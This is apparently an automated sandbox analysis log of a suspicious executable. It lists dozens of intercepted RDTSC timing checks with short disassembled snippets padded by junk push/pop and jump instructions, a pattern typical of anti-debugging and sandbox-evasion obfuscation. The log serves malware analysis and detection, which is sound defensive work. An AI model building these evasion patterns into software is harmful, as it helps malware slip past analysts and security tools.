Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F11801 second address: F11813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jns 00007F5060CC42C6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F1013B second address: F1013F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F1013F second address: F10148 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F10278 second address: F1029E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5060E412E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F5060E412F4h 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F5060E412E6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F10999 second address: F109A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F109A1 second address: F109A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F14541 second address: F14547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F14547 second address: F1454B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F1454B second address: F1454F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F13DD7 second address: F13DEB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5060E412ECh 0x00000008 jns 00007F5060E412E6h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F13DEB second address: F13DEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F14279 second address: F1427F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F1427F second address: F14285 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F1955A second address: F19568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jns 00007F5060E412E6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F19568 second address: F1956C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F19E9E second address: F19EE8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5060E412E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F5060E412F5h 0x00000011 pushad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jns 00007F5060E412E6h 0x0000001a jmp 00007F5060E412F5h 0x0000001f js 00007F5060E412E6h 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F1A18E second address: F1A198 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F5060CC42C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F1A198 second address: F1A1AE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jc 00007F5060E412F2h 0x0000000e je 00007F5060E412E6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F1AA5F second address: F1AA69 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5060CC42C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F1ADAA second address: F1ADC6 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5060E412F2h 0x00000008 jne 00007F5060E412EEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F1B076 second address: F1B09C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060CC42D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jo 00007F5060CC42C6h 0x00000012 jbe 00007F5060CC42C6h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F2131D second address: F21321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F20513 second address: F2052D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5060CC42CAh 0x00000008 jnc 00007F5060CC42D2h 0x0000000e jnp 00007F5060CC42C6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F207EA second address: F20803 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5060E412E8h 0x00000008 pushad 0x00000009 popad 0x0000000a jc 00007F5060E412E8h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F20803 second address: F20807 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F20BEA second address: F20BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F20BEE second address: F20C16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jc 00007F5060CC42C6h 0x0000000f jmp 00007F5060CC42D7h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F20C16 second address: F20C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F20EC7 second address: F20ED6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5060CC42C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F2292C second address: F22938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F5060E412E6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F22938 second address: F2293C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F2293C second address: F22942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F26ED6 second address: F26EF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5060CC42D1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F26EF6 second address: F26F0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060E412EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007F5060E412EEh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F26F0C second address: F26F12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F2E136 second address: F2E14C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5060E412F2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F2E14C second address: F2E155 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F2E681 second address: F2E6A9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5060E412E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5060E412F8h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F2E6A9 second address: F2E6AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F2E7F2 second address: F2E7F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F2ED70 second address: F2ED79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F2F68E second address: F2F6D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jp 00007F5060E412F6h 0x0000000b js 00007F5060E412E8h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 jo 00007F5060E41312h 0x0000001a jmp 00007F5060E412EFh 0x0000001f push eax 0x00000020 push edx 0x00000021 push esi 0x00000022 pop esi 0x00000023 jmp 00007F5060E412EDh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F2DCCE second address: F2DCE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060CC42D6h 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F2DCE9 second address: F2DCF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F2DCF4 second address: F2DCFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F2DCFA second address: F2DD1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 jmp 00007F5060E412F9h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F3508E second address: F350D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F5060CC42D8h 0x0000000a jmp 00007F5060CC42D0h 0x0000000f jmp 00007F5060CC42CAh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b jl 00007F5060CC42C6h 0x00000021 popad 0x00000022 push ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F350D6 second address: F350DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F350DC second address: F350E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jc 00007F5060CC42CCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F350E9 second address: F350F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F350F1 second address: F350F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F350F5 second address: F350FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F3528D second address: F35299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5060CC42C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F427BB second address: F427EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5060E412F6h 0x00000009 jmp 00007F5060E412F2h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F427EB second address: F427EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F44EFF second address: F44F39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jg 00007F5060E412E6h 0x0000000f jmp 00007F5060E412EAh 0x00000014 jl 00007F5060E412E6h 0x0000001a popad 0x0000001b popad 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 jmp 00007F5060E412F4h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F4C6EA second address: F4C71A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5060CC42D1h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007F5060CC42D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F4C71A second address: F4C722 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F4C722 second address: F4C73B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F5060CC42D0h 0x0000000a popad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F54915 second address: F5491F instructions: 0x00000000 rdtsc 0x00000002 js 00007F5060E412E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F577C6 second address: F577FA instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5060CC42D2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F5060CC42D4h 0x00000012 push edx 0x00000013 pop edx 0x00000014 jmp 00007F5060CC42CCh 0x00000019 jno 00007F5060CC42C8h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F577FA second address: F57804 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5060E412F2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F57804 second address: F5780A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F5B7C8 second address: F5B7CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F5B7CC second address: F5B7D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F5B907 second address: F5B911 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5060E412E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F5BA94 second address: F5BAC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060CC42CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5060CC42D7h 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F5BAC6 second address: F5BAD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F5BAD1 second address: F5BADB instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5060CC42C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F5BC2F second address: F5BC33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F5BC33 second address: F5BC3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F5BC3C second address: F5BC42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F5BC42 second address: F5BC5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5060CC42D7h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F5BDC3 second address: F5BDD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5060E412E6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F5BF73 second address: F5BF7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F5BF7B second address: F5BF8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F5060E412E6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F5C0D1 second address: F5C0E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F5060CC42C6h 0x0000000a jp 00007F5060CC42C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F5C0E1 second address: F5C0E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F5C0E5 second address: F5C133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5060CC42D4h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F5060CC42D0h 0x00000015 jo 00007F5060CC42C6h 0x0000001b jmp 00007F5060CC42D8h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F5C299 second address: F5C2E0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007F5060E412E6h 0x0000000d jmp 00007F5060E412F6h 0x00000012 jmp 00007F5060E412F3h 0x00000017 push edx 0x00000018 pop edx 0x00000019 popad 0x0000001a push eax 0x0000001b jmp 00007F5060E412EBh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F5CD34 second address: F5CD54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060CC42D9h 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F60B69 second address: F60B73 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5060E412E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E7E375 second address: E7E379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E7E379 second address: E7E37F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E7E37F second address: E7E38C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F6F636 second address: F6F678 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060E412EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F5060E412E8h 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 jno 00007F5060E412E6h 0x00000018 jg 00007F5060E412E6h 0x0000001e jnl 00007F5060E412E6h 0x00000024 popad 0x00000025 jnl 00007F5060E412E8h 0x0000002b push edx 0x0000002c pop edx 0x0000002d popad 0x0000002e push eax 0x0000002f push esi 0x00000030 jp 00007F5060E412E6h 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F72904 second address: F7290D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F7EBF9 second address: F7EC12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060E412F5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F7EC12 second address: F7EC1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F7EC1C second address: F7EC20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F7EC20 second address: F7EC3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007F5060CC42D1h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
